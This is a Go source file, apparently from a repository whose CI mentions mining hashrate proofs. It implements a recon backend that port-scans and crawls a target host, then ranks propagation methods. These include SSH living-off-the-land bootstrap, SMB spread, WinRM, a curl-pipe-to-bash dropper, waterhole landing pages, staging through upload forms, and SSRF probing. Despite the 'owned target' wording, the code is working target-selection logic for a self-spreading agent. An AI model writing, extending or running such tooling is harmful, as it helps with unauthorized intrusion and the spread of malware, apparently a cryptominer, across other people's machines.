Files
AetherForge/server/internal/recon/scan.go
AetherForge f3e5a9a07d
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
2026-06-07 11:23:10 -07:00

153 lines
3.6 KiB
Go

package recon
import (
"fmt"
"net"
"strings"
"time"
)
// Scan runs port scan and optional web crawl for an operator-supplied owned target.
func Scan(req ScanRequest) (*ScanReport, error) {
host, err := normalizeOwnedHost(req.Host)
if err != nil {
return nil, err
}
ports := ScanPorts(host)
report := &ScanReport{
Host: host,
ScannedAt: time.Now().UTC(),
Ports: ports,
}
if shouldCrawl(req, ports) {
crawl, err := Crawl(host, req.Port, req.Scheme, req.Paths)
if err == nil && crawl != nil {
report.Crawl = crawl
}
}
report.Recommendations = BuildRecommendations(ports, report.Crawl)
return report, nil
}
func normalizeOwnedHost(host string) (string, error) {
host = strings.TrimSpace(host)
if host == "" {
return "", fmt.Errorf("host required")
}
host = strings.TrimPrefix(host, "http://")
host = strings.TrimPrefix(host, "https://")
if i := strings.Index(host, "/"); i >= 0 {
host = host[:i]
}
if h, p, err := net.SplitHostPort(host); err == nil {
if strings.TrimSpace(h) == "" {
return "", fmt.Errorf("invalid host")
}
_ = p
host = h
}
if ip := net.ParseIP(host); ip != nil {
return ip.String(), nil
}
if len(host) > 253 || strings.Contains(host, " ") {
return "", fmt.Errorf("invalid host")
}
return strings.ToLower(host), nil
}
func shouldCrawl(req ScanRequest, ports []PortResult) bool {
if req.Port > 0 || strings.TrimSpace(req.Scheme) != "" || len(req.Paths) > 0 {
return true
}
for _, p := range ports {
switch p.Port {
case 80, 443, 8080, 8443:
if p.Open {
return true
}
}
}
return false
}
// BuildRecommendations maps port and crawl findings to existing deploy lanes/templates.
func BuildRecommendations(ports []PortResult, crawl *CrawlReport) []DeployRecommendation {
var recs []DeployRecommendation
open := map[int]bool{}
for _, p := range ports {
if p.Open {
open[p.Port] = true
}
}
if open[22] {
recs = append(recs, DeployRecommendation{
Lane: "linux_lotl",
Template: "linux-lotl",
Reason: "TCP 22 open — SSH LOTL bootstrap",
Priority: 25,
})
}
if open[445] {
recs = append(recs, DeployRecommendation{
Lane: "spread_smb_unc",
Reason: "TCP 445 open — SMB UNC spread",
Priority: 50,
})
}
if open[5985] || open[5986] {
recs = append(recs, DeployRecommendation{
Lane: "winrm",
Template: "winrm",
Reason: "TCP 5985/5986 open — WinRM bootstrap",
Priority: 30,
})
}
if open[80] || open[443] || open[8080] || open[8443] {
recs = append(recs, DeployRecommendation{
Lane: "bits_curl",
Reason: "HTTP surface open — dropper curl|bash one-liner",
Priority: 20,
})
recs = append(recs, DeployRecommendation{
Template: "public_waterhole",
Reason: "HTTP surface open — copy /spread/ public waterhole landing",
Priority: 15,
})
}
if crawl != nil {
if len(crawl.FileInputs) > 0 || len(crawl.MultipartForms) > 0 {
recs = append(recs, DeployRecommendation{
Lane: "stage_fetch",
Reason: "Multipart or file-upload form — stage_fetch manifest staging",
Priority: 35,
})
}
if crawl.SSRFScore >= 30 {
recs = append(recs, DeployRecommendation{
Template: "ssrf_probe",
Reason: fmt.Sprintf("SSRF candidate score %d — probe URL/webhook fields", crawl.SSRFScore),
Priority: 45,
})
}
}
return dedupeRecommendations(recs)
}
func dedupeRecommendations(in []DeployRecommendation) []DeployRecommendation {
seen := map[string]bool{}
var out []DeployRecommendation
for _, r := range in {
key := r.Lane + "|" + r.Template
if seen[key] {
continue
}
seen[key] = true
out = append(out, r)
}
return out
}